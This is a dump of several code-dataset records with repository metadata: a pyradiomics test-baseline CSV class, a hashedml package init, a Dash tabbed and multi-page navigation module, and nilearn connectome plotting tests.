file write to %s', fileName) class PyRadiomicsBaseline: def __init__(self, featureClassName): self.logger = logging.getLogger('radiomics.testing.baseline') self.cls = featureClassName self.configuration = {} self.baseline = {} self.tests = set() @classmethod def readBaselineFile(cls, baselineFile): featureClassName = os.path.basename(baselineFile)[9:-4] new_baseline = cls(featureClassName) new_baseline.logger.debug('Reading baseline for class %s', new_baseline.cls) with open(baselineFile, 'r' if six.PY3 else 'rb') as baselineReader: csvReader = csv.reader(baselineReader) tests = six.next(csvReader)[1:] for case in tests: new_baseline.configuration[case] = {} new_baseline.baseline[case] = {} for testRow in csvReader: for case_idx, case in enumerate(tests, start=1): if 'general_info' in testRow[0]: new_baseline.configuration[case][testRow[0]] = testRow[case_idx] else: new_baseline.baseline[case][testRow[0]] = testRow[case_idx] new_baseline.tests = set(tests) return new_baseline def getTestConfig(self, test): if test not in self.configuration: return {} config = { 'TestCase': self.configuration[test].get('general_info_TestCase', None), 'Settings': ast.literal_eval(self.configuration[test].get('general_info_GeneralSettings', '{}')), } if 'general_info_ImageHash' in self.configuration[test]: config['ImageHash'] = self.configuration[test]['general_info_ImageHash'] if 'general_info_MaskHash' in self.configuration[test]: config['MaskHash'] = self.configuration[test]['general_info_MaskHash'] if config['TestCase'] is None: self.logger.error('Missing key "general_info_TestCase". Cannot configure!') return None return config def getTestFeatures(self, test): if test not in self.baseline: return None return list(self.baseline[test].keys()) def getBaselineValue(self, test, featureName): if test not in self.baseline: return None return self.baseline[test].get(featureName, None) def writeBaselineFile(self, baselineDir): baselineFile = os.path.join(baselineDir, 'baseline_%s.csv' % self.cls) testCases = list(self.baseline.keys()) with open(baselineFile, 'wb') as baseline: csvWriter = csv.writer(baseline) header = ['featureName'] + testCases csvWriter.writerow(header) config = self.configuration[testCases[0]].keys() for c in config: row = [c] for testCase in testCases: row.append(str(self.configuration[testCase].get(c, ''))) csvWriter.writerow(row) features = self.baseline[testCases[0]].keys() for f in features: row = [f] for testCase in testCases: row.append(str(self.baseline[testCase].get(f, ''))) csvWriter.writerow(row)

true

790b1cc2ae9747fb1d318f5abee1e2f3ba74b24c

32

py

Python

hashedml/__init__.py

mtingers/hashedml

e87f25bec719c9cce13552abb15379f6e54e563a

[ "MIT" ]

1

2022-01-09T10:41:42.000Z

hashedml/__init__.py

mtingers/hashedml

e87f25bec719c9cce13552abb15379f6e54e563a

[ "MIT" ]

null

hashedml/__init__.py

mtingers/hashedml

e87f25bec719c9cce13552abb15379f6e54e563a

[ "MIT" ]

null

from hashedml.hashedml import *

16

31

0.8125

from hashedml.hashedml import *

true

790b1d0ff85b035438d20cac86138e09048cf9f7

13,863

py

Python

dash_charts/utils_app_with_navigation.py

KyleKing/dash_charts

8e3644505047fa85f3175f5bc55a2421cb0a19ea

[ "Unlicense" ]

16

2020-02-22T00:51:54.000Z

2022-03-03T21:45:51.000Z

dash_charts/utils_app_with_navigation.py

KyleKing/dash_charts

8e3644505047fa85f3175f5bc55a2421cb0a19ea

[ "Unlicense" ]

29

2020-06-29T22:14:00.000Z

2022-03-22T02:10:00.000Z

dash_charts/utils_app_with_navigation.py

KyleKing/dash_charts

8e3644505047fa85f3175f5bc55a2421cb0a19ea

[ "Unlicense" ]

1

2022-02-03T09:07:07.000Z

"""Classes for more complex applications that have tabbed or paged navigation.""" from collections import OrderedDict from copy import deepcopy import dash_bootstrap_components as dbc import dash_core_components as dcc import dash_html_components as html from implements import implements from .utils_app import AppBase, AppInterface TODO_CLIENT_CALLBACK = ''' TODO: Create clientside callbacks dynamically to update the title on navigation See: http://dash.plotly.com/external-resources ```py app.clientside_callback( """ function(tab_value) { if (tab_value === 'tab-1') { document.title = 'Tab 1' } else if (tab_value === 'tab-2') { document.title = 'Tab 2' } } """, Output('blank-output', 'children'), [Input('tabs-example', 'value')] ) ``` ''' # TODO: Try to see if I can resolve the interface differences or if I need make a subclass interface # @implements(AppInterface) # noqa: H601 class AppWithNavigation(AppBase): """Base class for building Dash Application with tabs or URL routing.""" app = None """Main Dash application to pass to all child tabs.""" nav_lookup = None """OrderedDict based on the list of tuples from `self.define_nav_elements()`.""" nav_layouts = None """Dictionary with nav_names as keys and corresponding layout as value.""" def define_nav_elements(self): """Return list of initialized pages or tabs accordingly. Should return, list: each item is an initialized app (ex `[AppBase(self.app)]` in the order each tab is rendered Raises: NotImplementedError: Child class must implement this method """ raise NotImplementedError('define_nav_elements must be implemented by child class') # pragma: no cover def create(self, **kwargs): """Create each navigation componet, storing the layout. Then parent class to create application. Args: kwargs: keyword arguments passed to `self.create` """ # Initialize the lookup for each tab then configure each tab self.nav_lookup = OrderedDict([(tab.name, tab) for tab in self.define_nav_elements()]) self.nav_layouts = {} for nav_name, nav in self.nav_lookup.items(): nav.create(assign_layout=False) self.nav_layouts[nav_name] = nav.return_layout() # Store validation_layout that is later used for callback verification in base class self.validation_layout = [*map(deepcopy, self.nav_layouts.values())] # Initialize parent application that handles navigation super().create(**kwargs) def initialization(self) -> None: """Initialize ids with `self.register_uniq_ids([...])` and other one-time actions.""" super().initialization() self.register_uniq_ids(self.app_ids) def create_elements(self) -> None: """Override method as not needed at navigation-level.""" ... # pragma: no cover def create_callbacks(self) -> None: """Override method as not needed at navigation-level.""" ... # pragma: no cover @implements(AppInterface) # noqa: H601 class StaticTab(AppBase): """Simple App without charts or callbacks.""" basic_style = { 'marginLeft': 'auto', 'marginRight': 'auto', 'maxWidth': '1000px', 'paddingTop': '10px', } def initialization(self) -> None: """Initialize ids with `self.register_uniq_ids([...])` and other one-time actions.""" super().initialization() self.register_uniq_ids(['N/A']) def create_elements(self) -> None: """Initialize the charts, tables, and other Dash elements..""" ... def create_callbacks(self) -> None: """Register callbacks necessary for this tab.""" ... class AppWithTabs(AppWithNavigation): """Base class for building Dash Application with tabs.""" # App ids id_tabs_content = 'tabs-wrapper' id_tabs_select = 'tabs-content' app_ids = [id_tabs_content, id_tabs_select] """List of all ids for the top-level tab view. Will be mapped to `self._il` for globally unique ids.""" def return_layout(self) -> dict: """Return Dash application layout. Returns: dict: Dash HTML object """ tabs = [dcc.Tab(label=name, value=name) for name, tab in self.nav_lookup.items()] return html.Div( children=[ dcc.Tabs( id=self._il[self.id_tabs_select], value=list(self.nav_lookup.keys())[0], children=tabs, ), html.Div(id=self._il[self.id_tabs_content]), ], ) def create_callbacks(self) -> None: """Register the navigation callback.""" outputs = [(self.id_tabs_content, 'children')] inputs = [(self.id_tabs_select, 'value')] @self.callback(outputs, inputs, []) def render_tab(tab_name): return [self.nav_layouts[tab_name]] # > PLANNED: Make the tabs and chart compact as well when the compact argument is set to True class FullScreenAppWithTabs(AppWithTabs): # noqa: H601 """Base class for building Dash Application with tabs that uses the full window.""" tabs_location = 'left' """Tab orientation setting. One of `(left, top, bottom, right)`.""" tabs_margin = '10%' """Adjust this setting based on the width or height of the tabs to prevent the content from overlapping the tabs.""" tabs_compact = False """Boolean setting to toggle between a padded tab layout if False and a minimal compact version if True.""" def verify_app_initialization(self): """Check that the app was properly initialized. Raises: RuntimeError: if child class has not called `self.register_uniq_ids` """ super().verify_app_initialization() allowed_locations = ('left', 'top', 'bottom', 'right') if self.tabs_location not in allowed_locations: # pragma: no cover raise RuntimeError(f'`self.tabs_location = {self.tabs_location}` is not in {allowed_locations}') def return_layout(self) -> dict: """Return Dash application layout. Returns: dict: Dash HTML object """ return html.Div( children=[ self.tab_menu(), html.Div( style={f'margin-{self.tabs_location}': self.tabs_margin}, children=[html.Div(id=self._il[self.id_tabs_content])], ), ], ) def generate_tab_kwargs(self): """Create the tab keyword arguments. Intended to be modified through inheritance. Returns: tuple: keyword arguments and styling for the dcc.Tab elements - tab_kwargs: with at minimum keys `(style, selected_style)` for dcc.Tab - tabs_kwargs: to be passed to dcc.Tabs - tabs_style: style for the dcc.Tabs HTML element """ # Unselected tab style if self.tabs_compact: tab_style = {'padding': '2px 4px 2px 4px'} tabs_padding = '6px 0 0 2px' else: tab_style = {'padding': '10px 20px 10px 20px'} tabs_padding = '15px 0 0 5px' # Extend tab style for selected case selected_style = deepcopy(tab_style) opposite_lookup = {'top': 'bottom', 'bottom': 'top', 'left': 'right', 'right': 'left'} tabs_style = { # noqa: ECE001 'backgroundColor': '#F9F9F9', 'padding': tabs_padding, 'position': 'fixed', 'zIndex': '999', f'border{opposite_lookup[self.tabs_location].title()}': '1px solid #d6d6d6', self.tabs_location: '0', } if self.tabs_location in ['left', 'right']: # Configure for vertical case selected_style['border-left'] = '3px solid #119DFF' tabs_kwargs = { 'vertical': True, 'style': {'width': '100%'}, 'parent_style': {'width': '100%'}, } tabs_style['top'] = '0' tabs_style['bottom'] = '0' tabs_style['width'] = 'auto' else: # Configure for horizontal case selected_style['border-top'] = '3px solid #119DFF' tabs_kwargs = {} tabs_style['height'] = 'auto' tabs_style['right'] = '0' tabs_style['left'] = '0' tab_kwargs = {'style': tab_style, 'selected_style': selected_style} return (tab_kwargs, tabs_kwargs, tabs_style) def tab_menu(self): """Return the HTML elements for the tab menu. Returns: dict: Dash HTML object """ tab_kwargs, tabs_kwargs, tabs_style = self.generate_tab_kwargs() tabs = [dcc.Tab(label=name, value=name, **tab_kwargs) for name, tab in self.nav_lookup.items()] return html.Div( children=[ dcc.Tabs( id=self._il[self.id_tabs_select], value=list(self.nav_lookup.keys())[0], children=tabs, **tabs_kwargs, ), ], style=tabs_style, ) class AppMultiPage(AppWithNavigation): # noqa: H601 """Base class for building Dash Application with multiple pages.""" navbar_links = None """Base class must create list of tuples `[('Link Name', '/link'), ]` to use default `self.nav_bar()`.""" dropdown_links = None """Base class must create list of tuples `[('Link Name', '/link'), ]` to use default `self.nav_bar()`.""" logo = None """Optional path to logo. If None, no logo will be shown in navbar.""" # App ids id_url = 'pages-url' id_pages_content = 'pages-wrapper' id_toggler = 'nav-toggle' id_collapse = 'nav-collapse' app_ids = [id_url, id_pages_content, id_toggler, id_collapse] """List of all ids for the top-level pages view. Will be mapped to `self._il` for globally unique ids.""" def return_layout(self) -> dict: """Return Dash application layout. Returns: dict: Dash HTML object """ return html.Div( children=[ dcc.Location(id=self._il[self.id_url], refresh=False), self.nav_bar(), html.Div(id=self._il[self.id_pages_content]), ], ) def nav_bar(self): """Return the HTML elements for the navigation menu. Returns: dict: Dash HTML object """ # Create brand icon and name where icon in optional brand = [] if self.logo: brand.append(dbc.Col(html.Img(src=self.logo, height='25px'))) brand.append(dbc.Col(dbc.NavbarBrand(self.name, className='ml-2'))) # Create links in navbar and dropdown. Both are optional links = [] if self.navbar_links: links.append( dbc.Nav( children=[dbc.NavItem(dbc.NavLink(name, href=link)) for name, link in self.navbar_links], fill=True, navbar=True, ), ) if self.dropdown_links: links.append( dbc.Nav( dbc.DropdownMenu( children=[dbc.DropdownMenuItem(name, href=link) for name, link in self.dropdown_links], in_navbar=True, label='Links', nav=True, ), navbar=True, ), ) # Layout default navbar return dbc.Navbar( children=[ dbc.NavLink( [ dbc.Row( children=brand, align='center', no_gutters=True, ), ], href='/', ), dbc.NavbarToggler(id=self._il[self.id_toggler]), dbc.Collapse( dbc.Row( children=links, no_gutters=True, className='flex-nowrap mt-3 mt-md-0', align='center', ), id=self._il[self.id_collapse], navbar=True, ), ], sticky='top', color='dark', dark=True, ) def create_callbacks(self) -> None: """Register the navigation callback.""" outputs = [(self.id_pages_content, 'children')] inputs = [(self.id_url, 'pathname')] @self.callback(outputs, inputs, []) def render_page(pathname): try: # TODO: Demo how pages could use parameters from pathname return [self.nav_layouts[self.select_page_name(pathname)]] except Exception as err: return [html.Div(children=[f'Error rendering "{pathname}":\n{err}'])] @self.callback( [(self.id_collapse, 'is_open')], [(self.id_toggler, 'n_clicks')], [(self.id_collapse, 'is_open')], ) def toggle_navbar_collapse(n_clicks, is_open): return [not is_open if n_clicks else is_open] def select_page_name(self, pathname): """Return the page name determined based on the pathname. Should return str: page name Args: pathname: relative pathname from URL Raises: NotImplementedError: Child class must implement this method """ raise NotImplementedError('nav_bar must be implemented by child class') # pragma: no cover

34.571072

120

0.572098

from collections import OrderedDict from copy import deepcopy import dash_bootstrap_components as dbc import dash_core_components as dcc import dash_html_components as html from implements import implements from .utils_app import AppBase, AppInterface TODO_CLIENT_CALLBACK = ''' TODO: Create clientside callbacks dynamically to update the title on navigation See: http://dash.plotly.com/external-resources ```py app.clientside_callback( """ function(tab_value) { if (tab_value === 'tab-1') { document.title = 'Tab 1' } else if (tab_value === 'tab-2') { document.title = 'Tab 2' } } """, Output('blank-output', 'children'), [Input('tabs-example', 'value')] ) ``` ''' thNavigation(AppBase): app = None nav_lookup = None nav_layouts = None def define_nav_elements(self): raise NotImplementedError('define_nav_elements must be implemented by child class') def create(self, **kwargs): self.nav_lookup = OrderedDict([(tab.name, tab) for tab in self.define_nav_elements()]) self.nav_layouts = {} for nav_name, nav in self.nav_lookup.items(): nav.create(assign_layout=False) self.nav_layouts[nav_name] = nav.return_layout() self.validation_layout = [*map(deepcopy, self.nav_layouts.values())] super().create(**kwargs) def initialization(self) -> None: super().initialization() self.register_uniq_ids(self.app_ids) def create_elements(self) -> None: ... def create_callbacks(self) -> None: ... @implements(AppInterface) class StaticTab(AppBase): basic_style = { 'marginLeft': 'auto', 'marginRight': 'auto', 'maxWidth': '1000px', 'paddingTop': '10px', } def initialization(self) -> None: super().initialization() self.register_uniq_ids(['N/A']) def create_elements(self) -> None: ... def create_callbacks(self) -> None: ... class AppWithTabs(AppWithNavigation): id_tabs_content = 'tabs-wrapper' id_tabs_select = 'tabs-content' app_ids = [id_tabs_content, id_tabs_select] def return_layout(self) -> dict: tabs = [dcc.Tab(label=name, value=name) for name, tab in self.nav_lookup.items()] return html.Div( children=[ dcc.Tabs( id=self._il[self.id_tabs_select], value=list(self.nav_lookup.keys())[0], children=tabs, ), html.Div(id=self._il[self.id_tabs_content]), ], ) def create_callbacks(self) -> None: outputs = [(self.id_tabs_content, 'children')] inputs = [(self.id_tabs_select, 'value')] @self.callback(outputs, inputs, []) def render_tab(tab_name): return [self.nav_layouts[tab_name]] class FullScreenAppWithTabs(AppWithTabs): tabs_location = 'left' tabs_margin = '10%' tabs_compact = False def verify_app_initialization(self): super().verify_app_initialization() allowed_locations = ('left', 'top', 'bottom', 'right') if self.tabs_location not in allowed_locations: raise RuntimeError(f'`self.tabs_location = {self.tabs_location}` is not in {allowed_locations}') def return_layout(self) -> dict: return html.Div( children=[ self.tab_menu(), html.Div( style={f'margin-{self.tabs_location}': self.tabs_margin}, children=[html.Div(id=self._il[self.id_tabs_content])], ), ], ) def generate_tab_kwargs(self): if self.tabs_compact: tab_style = {'padding': '2px 4px 2px 4px'} tabs_padding = '6px 0 0 2px' else: tab_style = {'padding': '10px 20px 10px 20px'} tabs_padding = '15px 0 0 5px' selected_style = deepcopy(tab_style) opposite_lookup = {'top': 'bottom', 'bottom': 'top', 'left': 'right', 'right': 'left'} tabs_style = { 'backgroundColor': '#F9F9F9', 'padding': tabs_padding, 'position': 'fixed', 'zIndex': '999', f'border{opposite_lookup[self.tabs_location].title()}': '1px solid #d6d6d6', self.tabs_location: '0', } if self.tabs_location in ['left', 'right']: selected_style['border-left'] = '3px solid #119DFF' tabs_kwargs = { 'vertical': True, 'style': {'width': '100%'}, 'parent_style': {'width': '100%'}, } tabs_style['top'] = '0' tabs_style['bottom'] = '0' tabs_style['width'] = 'auto' else: selected_style['border-top'] = '3px solid #119DFF' tabs_kwargs = {} tabs_style['height'] = 'auto' tabs_style['right'] = '0' tabs_style['left'] = '0' tab_kwargs = {'style': tab_style, 'selected_style': selected_style} return (tab_kwargs, tabs_kwargs, tabs_style) def tab_menu(self): tab_kwargs, tabs_kwargs, tabs_style = self.generate_tab_kwargs() tabs = [dcc.Tab(label=name, value=name, **tab_kwargs) for name, tab in self.nav_lookup.items()] return html.Div( children=[ dcc.Tabs( id=self._il[self.id_tabs_select], value=list(self.nav_lookup.keys())[0], children=tabs, **tabs_kwargs, ), ], style=tabs_style, ) class AppMultiPage(AppWithNavigation): navbar_links = None dropdown_links = None logo = None id_url = 'pages-url' id_pages_content = 'pages-wrapper' id_toggler = 'nav-toggle' id_collapse = 'nav-collapse' app_ids = [id_url, id_pages_content, id_toggler, id_collapse] def return_layout(self) -> dict: return html.Div( children=[ dcc.Location(id=self._il[self.id_url], refresh=False), self.nav_bar(), html.Div(id=self._il[self.id_pages_content]), ], ) def nav_bar(self): brand = [] if self.logo: brand.append(dbc.Col(html.Img(src=self.logo, height='25px'))) brand.append(dbc.Col(dbc.NavbarBrand(self.name, className='ml-2'))) links = [] if self.navbar_links: links.append( dbc.Nav( children=[dbc.NavItem(dbc.NavLink(name, href=link)) for name, link in self.navbar_links], fill=True, navbar=True, ), ) if self.dropdown_links: links.append( dbc.Nav( dbc.DropdownMenu( children=[dbc.DropdownMenuItem(name, href=link) for name, link in self.dropdown_links], in_navbar=True, label='Links', nav=True, ), navbar=True, ), ) return dbc.Navbar( children=[ dbc.NavLink( [ dbc.Row( children=brand, align='center', no_gutters=True, ), ], href='/', ), dbc.NavbarToggler(id=self._il[self.id_toggler]), dbc.Collapse( dbc.Row( children=links, no_gutters=True, className='flex-nowrap mt-3 mt-md-0', align='center', ), id=self._il[self.id_collapse], navbar=True, ), ], sticky='top', color='dark', dark=True, ) def create_callbacks(self) -> None: outputs = [(self.id_pages_content, 'children')] inputs = [(self.id_url, 'pathname')] @self.callback(outputs, inputs, []) def render_page(pathname): try: return [self.nav_layouts[self.select_page_name(pathname)]] except Exception as err: return [html.Div(children=[f'Error rendering "{pathname}":\n{err}'])] @self.callback( [(self.id_collapse, 'is_open')], [(self.id_toggler, 'n_clicks')], [(self.id_collapse, 'is_open')], ) def toggle_navbar_collapse(n_clicks, is_open): return [not is_open if n_clicks else is_open] def select_page_name(self, pathname): raise NotImplementedError('nav_bar must be implemented by child class')

true

790b1d3cfe2d90ff414474016128db749d607913

8,330

py

Python

nilearn/plotting/tests/test_html_connectome.py

ryanhammonds/nilearn

f33cd4e4685d9050e5bba0a8ece1b0b0f0ad1be2

[ "BSD-2-Clause" ]

null

nilearn/plotting/tests/test_html_connectome.py

ryanhammonds/nilearn

f33cd4e4685d9050e5bba0a8ece1b0b0f0ad1be2

[ "BSD-2-Clause" ]

null

nilearn/plotting/tests/test_html_connectome.py

ryanhammonds/nilearn

f33cd4e4685d9050e5bba0a8ece1b0b0f0ad1be2

[ "BSD-2-Clause" ]

1

2017-08-26T08:19:29.000Z

import warnings import numpy as np from nilearn.plotting import cm from nilearn.plotting.js_plotting_utils import decode from nilearn.plotting import html_connectome from .test_js_plotting_utils import check_html def test_prepare_line(): e = np.asarray([0, 1, 2, 3], dtype=int) n = np.asarray([[0, 1], [0, 2], [2, 3], [8, 9]], dtype=int) pe, pn = html_connectome._prepare_line(e, n) assert (pn == [0, 1, 0, 0, 2, 0, 2, 3, 0, 8, 9, 0]).all() assert(pe == [0, 0, 0, 1, 1, 0, 2, 2, 0, 3, 3, 0]).all() def _make_connectome(): adj = np.diag([1.5, .3, 2.5], 2) adj += adj.T adj += np.eye(5) coord = np.arange(5) coord = np.asarray([coord * 10, -coord, coord[::-1]]).T return adj, coord def test_get_connectome(): adj, coord = _make_connectome() connectome = html_connectome._get_connectome(adj, coord) con_x = decode(connectome['_con_x'], '<f4') expected_x = np.asarray( [0, 0, 0, 0, 20, 0, 10, 10, 0, 10, 30, 0, 20, 0, 0, 20, 20, 0, 20, 40, 0, 30, 10, 0, 30, 30, 0, 40, 20, 0, 40, 40, 0], dtype='<f4') assert (con_x == expected_x).all() assert {'_con_x', '_con_y', '_con_z', '_con_w', 'colorscale' }.issubset(connectome.keys()) assert (connectome['cmin'], connectome['cmax']) == (-2.5, 2.5) adj[adj == 0] = np.nan connectome = html_connectome._get_connectome(adj, coord) con_x = decode(connectome['_con_x'], '<f4') assert (con_x == expected_x).all() assert (connectome['cmin'], connectome['cmax']) == (-2.5, 2.5) def test_view_connectome(): adj, coord = _make_connectome() html = html_connectome.view_connectome(adj, coord) check_html(html, False, 'connectome-plot') html = html_connectome.view_connectome(adj, coord, '85.3%', title="SOME_TITLE") check_html(html, False, 'connectome-plot') assert "SOME_TITLE" in html.html html = html_connectome.view_connectome(adj, coord, '85.3%', linewidth=8.5, node_size=4.2) check_html(html, False, 'connectome-plot') html = html_connectome.view_connectome( adj, coord, '85.3%', linewidth=8.5, marker_size=np.arange(len(coord))) check_html(html, False, 'connectome-plot') def test_params_deprecation_view_connectome(): deprecated_params = {'coords': 'node_coords', 'threshold': 'edge_threshold', 'cmap': 'edge_cmap', 'marker_size': 'node_size', } deprecation_msg = ( 'The parameter "{}" will be removed in 0.6.0 release of Nilearn. ' 'Please use the parameter "{}" instead.' ) warning_msgs = {old_: deprecation_msg.format(old_, new_) for old_, new_ in deprecated_params.items() } adj, coord = _make_connectome() with warnings.catch_warnings(record=True) as raised_warnings: html_connectome.view_connectome(adjacency_matrix=adj, coords=coord, edge_threshold='85.3%', edge_cmap=cm.cyan_orange, linewidth=8.5, node_size=4.2, ) html_connectome.view_connectome(adjacency_matrix=adj, node_coords=coord, threshold='85.3%', edge_cmap=cm.cyan_orange, linewidth=8.5, node_size=4.2, ) html_connectome.view_connectome(adjacency_matrix=adj, node_coords=coord, edge_threshold='85.3%', cmap=cm.cyan_orange, linewidth=8.5, node_size=4.2, ) html_connectome.view_connectome(adjacency_matrix=adj, node_coords=coord, edge_threshold='85.3%', edge_cmap=cm.cyan_orange, linewidth=8.5, marker_size=4.2, ) html_connectome.view_connectome(adjacency_matrix=adj, node_coords=coord, edge_threshold='85.3%', edge_cmap=cm.cyan_orange, linewidth=8.5, node_size=4.2, ) html_connectome.view_connectome(adj, coord, '85.3%', cm.cyan_orange, 8.5, 4.2, ) old_params = ['coords', 'threshold', 'cmap', 'marker_size'] raised_warning_messages = ''.join( str(warning.message) for warning in raised_warnings) print(raised_warning_messages) for old_param_ in old_params: assert warning_msgs[old_param_] in raised_warning_messages def test_get_markers(): coords = np.arange(12).reshape((4, 3)) colors = ['r', 'g', 'black', 'white'] markers = html_connectome._get_markers(coords, colors) assert markers["marker_color"] == [ '#ff0000', '#007f00', '#000000', '#ffffff'] assert markers['markers_only'] con_x = decode(markers['_con_x'], '<f4') assert np.allclose(con_x, coords[:, 0]) def test_view_markers(): coords = np.arange(12).reshape((4, 3)) colors = ['r', 'g', 'black', 'white'] html = html_connectome.view_markers(coords, colors) check_html(html, False, 'connectome-plot') html = html_connectome.view_markers(coords) check_html(html, False, 'connectome-plot') html = html_connectome.view_markers(coords, marker_size=15) check_html(html, False, 'connectome-plot') html = html_connectome.view_markers( coords, marker_size=np.arange(len(coords))) check_html(html, False, 'connectome-plot') html = html_connectome.view_markers( coords, marker_size=list(range(len(coords)))) check_html(html, False, 'connectome-plot') def test_params_deprecation_view_markers(): """ Tests whether use of deprecated keyword parameters of view_markers raise corrrect warnings. """ deprecated_params = {'coords': 'marker_coords', 'colors': 'marker_color', } deprecation_msg = ( 'The parameter "{}" will be removed in 0.6.0 release of Nilearn. ' 'Please use the parameter "{}" instead.' ) warning_msgs = {old_: deprecation_msg.format(old_, new_) for old_, new_ in deprecated_params.items() } coords = np.arange(12).reshape((4, 3)) colors = ['r', 'g', 'black', 'white'] with warnings.catch_warnings(record=True) as raised_warnings: html_connectome.view_markers(coords=coords, marker_color=colors, ) html_connectome.view_markers(marker_coords=coords, colors=colors, ) html_connectome.view_markers(marker_coords=coords, marker_color=colors, ) html_connectome.view_markers(coords, colors, ) old_params = ['coords', 'colors'] assert len(raised_warnings) == 2 for old_param_, raised_warning_ in zip(old_params, raised_warnings): assert warning_msgs[old_param_] == str(raised_warning_.message) assert raised_warning_.category is DeprecationWarning

40.436893

78

0.508283

import warnings import numpy as np from nilearn.plotting import cm from nilearn.plotting.js_plotting_utils import decode from nilearn.plotting import html_connectome from .test_js_plotting_utils import check_html def test_prepare_line(): e = np.asarray([0, 1, 2, 3], dtype=int) n = np.asarray([[0, 1], [0, 2], [2, 3], [8, 9]], dtype=int) pe, pn = html_connectome._prepare_line(e, n) assert (pn == [0, 1, 0, 0, 2, 0, 2, 3, 0, 8, 9, 0]).all() assert(pe == [0, 0, 0, 1, 1, 0, 2, 2, 0, 3, 3, 0]).all() def _make_connectome(): adj = np.diag([1.5, .3, 2.5], 2) adj += adj.T adj += np.eye(5) coord = np.arange(5) coord = np.asarray([coord * 10, -coord, coord[::-1]]).T return adj, coord def test_get_connectome(): adj, coord = _make_connectome() connectome = html_connectome._get_connectome(adj, coord) con_x = decode(connectome['_con_x'], '<f4') expected_x = np.asarray( [0, 0, 0, 0, 20, 0, 10, 10, 0, 10, 30, 0, 20, 0, 0, 20, 20, 0, 20, 40, 0, 30, 10, 0, 30, 30, 0, 40, 20, 0, 40, 40, 0], dtype='<f4') assert (con_x == expected_x).all() assert {'_con_x', '_con_y', '_con_z', '_con_w', 'colorscale' }.issubset(connectome.keys()) assert (connectome['cmin'], connectome['cmax']) == (-2.5, 2.5) adj[adj == 0] = np.nan connectome = html_connectome._get_connectome(adj, coord) con_x = decode(connectome['_con_x'], '<f4') assert (con_x == expected_x).all() assert (connectome['cmin'], connectome['cmax']) == (-2.5, 2.5) def test_view_connectome(): adj, coord = _make_connectome() html = html_connectome.view_connectome(adj, coord) check_html(html, False, 'connectome-plot') html = html_connectome.view_connectome(adj, coord, '85.3%', title="SOME_TITLE") check_html(html, False, 'connectome-plot') assert "SOME_TITLE" in html.html html = html_connectome.view_connectome(adj, coord, '85.3%', linewidth=8.5, node_size=4.2) check_html(html, False, 'connectome-plot') html = html_connectome.view_connectome( adj, coord, '85.3%', linewidth=8.5, marker_size=np.arange(len(coord))) check_html(html, False, 'connectome-plot') def test_params_deprecation_view_connectome(): deprecated_params = {'coords': 'node_coords', 'threshold': 'edge_threshold', 'cmap': 'edge_cmap', 'marker_size': 'node_size', } deprecation_msg = ( 'The parameter "{}" will be removed in 0.6.0 release of Nilearn. ' 'Please use the parameter "{}" instead.' ) warning_msgs = {old_: deprecation_msg.format(old_, new_) for old_, new_ in deprecated_params.items() } adj, coord = _make_connectome() with warnings.catch_warnings(record=True) as raised_warnings: html_connectome.view_connectome(adjacency_matrix=adj, coords=coord, edge_threshold='85.3%', edge_cmap=cm.cyan_orange, linewidth=8.5, node_size=4.2, ) html_connectome.view_connectome(adjacency_matrix=adj, node_coords=coord, threshold='85.3%', edge_cmap=cm.cyan_orange, linewidth=8.5, node_size=4.2, ) html_connectome.view_connectome(adjacency_matrix=adj, node_coords=coord, edge_threshold='85.3%', cmap=cm.cyan_orange, linewidth=8.5, node_size=4.2, ) html_connectome.view_connectome(adjacency_matrix=adj, node_coords=coord, edge_threshold='85.3%', edge_cmap=cm.cyan_orange, linewidth=8.5, marker_size=4.2, ) html_connectome.view_connectome(adjacency_matrix=adj, node_coords=coord, edge_threshold='85.3%', edge_cmap=cm.cyan_orange, linewidth=8.5, node_size=4.2, ) html_connectome.view_connectome(adj, coord, '85.3%', cm.cyan_orange, 8.5, 4.2, ) old_params = ['coords', 'threshold', 'cmap', 'marker_size'] raised_warning_messages = ''.join( str(warning.message) for warning in raised_warnings) print(raised_warning_messages) for old_param_ in old_params: assert warning_msgs[old_param_] in raised_warning_messages def test_get_markers(): coords = np.arange(12).reshape((4, 3)) colors = ['r', 'g', 'black', 'white'] markers = html_connectome._get_markers(coords, colors) assert markers["marker_color"] == [ '#ff0000', '#007f00', '#000000', '#ffffff'] assert markers['markers_only'] con_x = decode(markers['_con_x'], '<f4') assert np.allclose(con_x, coords[:, 0]) def test_view_markers(): coords = np.arange(12).reshape((4, 3)) colors = ['r', 'g', 'black', 'white'] html = html_connectome.view_markers(coords, colors) check_html(html, False, 'connectome-plot') html = html_connectome.view_markers(coords) check_html(html, False, 'connectome-plot') html = html_connectome.view_markers(coords, marker_size=15) check_html(html, False, 'connectome-plot') html = html_connectome.view_markers( coords, marker_size=np.arange(len(coords))) check_html(html, False, 'connectome-plot') html = html_connectome.view_markers( coords, marker_size=list(range(len(coords)))) check_html(html, False, 'connectome-plot') def test_params_deprecation_view_markers(): deprecated_params = {'coords': 'marker_coords', 'colors': 'marker_color', } deprecation_msg = ( 'The parameter "{}" will be removed in 0.6.0 release of Nilearn. ' 'Please use the parameter "{}" instead.' ) warning_msgs = {old_: deprecation_msg.format(old_, new_) for old_, new_ in deprecated_params.items() } coords = np.arange(12).reshape((4, 3)) colors = ['r', 'g', 'black', 'white'] with warnings.catch_warnings(record=True) as raised_warnings: html_connectome.view_markers(coords=coords, marker_color=colors, ) html_connectome.view_markers(marker_coords=coords, colors=colors, ) html_connectome.view_markers(marker_coords=coords, marker_color=colors, ) html_connectome.view_markers(coords, colors, ) old_params = ['coords', 'colors'] assert len(raised_warnings) == 2 for old_param_, raised_warning_ in zip(old_params, raised_warnings): assert warning_msgs[old_param_] == str(raised_warning_.message) assert raised_warning_.category is DeprecationWarning

true

790b20490561ed6c0d10e67739b18f7d99b60936

8,760

py

Python

src/aks-preview/azext_aks_preview/_validators.py

blackchoey/azure-cli-extensions

bbfd80ba164c4605dbdbe5e2b8dc26c3aa0f29e4

[ "MIT" ]

null

src/aks-preview/azext_aks_preview/_validators.py

blackchoey/azure-cli-extensions

bbfd80ba164c4605dbdbe5e2b8dc26c3aa0f29e4

[ "MIT" ]

null

src/aks-preview/azext_aks_preview/_validators.py

blackchoey/azure-cli-extensions

bbfd80ba164c4605dbdbe5e2b8dc26c3aa0f29e4

[ "MIT" ]

null

